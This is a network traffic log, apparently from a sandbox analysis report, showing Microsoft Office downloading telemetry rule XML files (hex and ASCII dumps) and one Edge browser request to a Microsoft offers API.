2024-11-23 04:02:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7fefabc9-101e-000b-0f11-3d5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040239Z-178bfbc474bmqmgjhC1NYCy16c00000003z000000000deup x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 04:02:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:39 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:39 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 25a1d219-c01e-007a-1943-3cb877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040239Z-178bfbc474bbcwv4hC1NYCypys00000003vg00000000422m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:40 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:41 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0fd64145-d01e-0028-790a-3d7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040241Z-178bfbc474b9fdhphC1NYCac0n00000003v000000000bw66 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:42 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:41 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 90758f84-b01e-0021-4c46-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040241Z-15b8b599d88wk8w4hC1TEB14b800000002dg00000000bkhq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:41 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:42 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:42 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 43acaf28-701e-006f-5cf7-3cafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040242Z-178bfbc474b9fdhphC1NYCac0n00000003tg00000000gywd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 04:02:42 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:41 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a7625850-801e-007b-654c-3ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040242Z-178bfbc474bv587zhC1NYCny5w00000003r000000000n6dw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49807	94.245.104.56	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:42 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:42 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sat, 23 Nov 2024 04:02:42 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=615eda4c0d3165a2d4f9951294e051731fcb214a3d398c87cf3569f0f2635bcf;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:42 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:42 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3585b350-301e-005d-097c-3be448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040242Z-178bfbc474bwlrhlhC1NYCy3kg00000003vg00000000kkrs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:42 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:44 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:44 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040244Z-178bfbc474bgvl54hC1NYCsfuw00000003xg00000000aun2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:44 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:44 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:44 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c14060eb-d01e-007a-6e7d-3bf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040244Z-174c587ffdfcb7qhhC1TEB3x7000000002cg00000000mqhf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:44 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:44 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:44 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:44 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9a1c1dfd-501e-000a-5c30-3c0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040244Z-178bfbc474bbcwv4hC1NYCypys00000003rg00000000fad9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 04:02:44 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:44 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:44 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 43d09947-101e-005a-2421-3c882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040244Z-178bfbc474bxkclvhC1NYC69g400000003u000000000fdct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:45 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:44 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
